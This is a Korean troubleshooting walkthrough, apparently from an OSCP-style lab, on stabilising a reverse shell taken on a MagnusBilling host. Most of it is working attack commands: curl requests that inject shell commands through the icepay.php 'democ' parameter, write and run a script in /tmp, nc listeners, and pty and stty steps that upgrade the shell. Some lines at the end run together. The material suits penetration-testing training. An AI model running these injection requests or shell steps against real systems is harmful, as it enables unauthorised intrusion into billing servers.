OSCP 리버스 쉘 연결 후 상황 분석 및 해결
상황:
문제 원인:
bash: cannot set terminal process group (1221): Inappropriate ioctl for device
bash: no job control in this shell
# 지금 당장 nc 터미널에서 다음을 타이핑하세요
# (화면에 안 보여도 천천히 정확하게 타이핑)
whoami
타이핑 방법:
w h o a m i 순서대로 천천히 입력asterisk 나오면 연결 정상# 다음 명령어를 정확하게 타이핑 (한 글자씩 천천히)
python3 -c 'import pty; pty.spawn("/bin/bash")'
타이핑 순서:
1. p y t h o n 3 (공백) - c (공백)
2. ' (작은따옴표)
3. i m p o r t (공백) p t y ; (공백)
4. p t y . s p a w n ( " / b i n / b a s h " )
5. ' (작은따옴표)
6. 엔터 키
성공하면:
asterisk@ip-10-10-187-169:/var/www/html/mbilling/lib/icepay$
이런 프롬프트가 나타나고 커서가 깜빡입니다.
# 이제 다음 명령어 입력 (커서가 깜빡이는 상태에서)
export TERM=xterm
# Ctrl+Z 키를 눌러서 잠시 백그라운드로 보내기
# (Ctrl 키 누른 상태에서 Z 키)
그러면 로컬 터미널로 돌아옵니다:
┌──(root㉿docker-desktop)-[/]
└─#
로컬 터미널에서 다음 입력:
stty raw -echo; fg
그러면 다시 리버스 쉘로 돌아옵니다.
# 리버스 쉘에서 다음 입력
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116
# 현재 연결 종료 (Ctrl+C)
# 새 리스너 시작
nc -lvnp 4444
# 새 터미널에서 다시 페이로드 실행
curl 'http://10.10.187.169/mbilling/lib/icepay/icepay.php?democ=test;python3 -c "import pty;pty.spawn(\"/bin/bash\")"'
# 새 리스너
nc -lvnp 4444
# 스크립트 파일을 타겟에 업로드
curl 'http://10.10.187.169/mbilling/lib/icepay/icepay.php?democ=test;echo "python3 -c \"import pty;pty.spawn(\\\"/bin/bash\\\")\"" > /tmp/shell.sh'
# 스크립트 실행
curl 'http://10.10.187.169/mbilling/lib/icepay/icepay.php?democ=test;bash /tmp/shell.sh'
1. 지금 당장 nc 터미널에서:
# 천천히 타이핑 (화면에 안 보여도 괜찮음)
python3 -c 'import pty; pty.spawn("/bin/bash")'
2. 안 되면:
# 이것 시도
python -c 'import pty; pty.spawn("/bin/bash")'
3. 그래도 안 되면:
# 이것 시도
/bin/bash -i
정상 상태:
asterisk@ip-10-10-187-169:~$ whoami
asterisk
asterisk@ip-10-10-187-169:~$ pwd
/home/asterisk
asterisk@ip-10-10-187-169:~$ █ # 커서 깜빡임
비정상 상태:
asterisk@ip-10-10-187-169:/var/www/html/mbilling/lib/icepay$ exit
# 커서 안 깜빡이고 입력이 이상함
whoami 입력해서 asterisk 나오는지 확인python3 -c 'import pty; pty.spawn("/bin/bash")' 실행export TERM=xterm 실행stty raw -echo; fg 실행reset 실행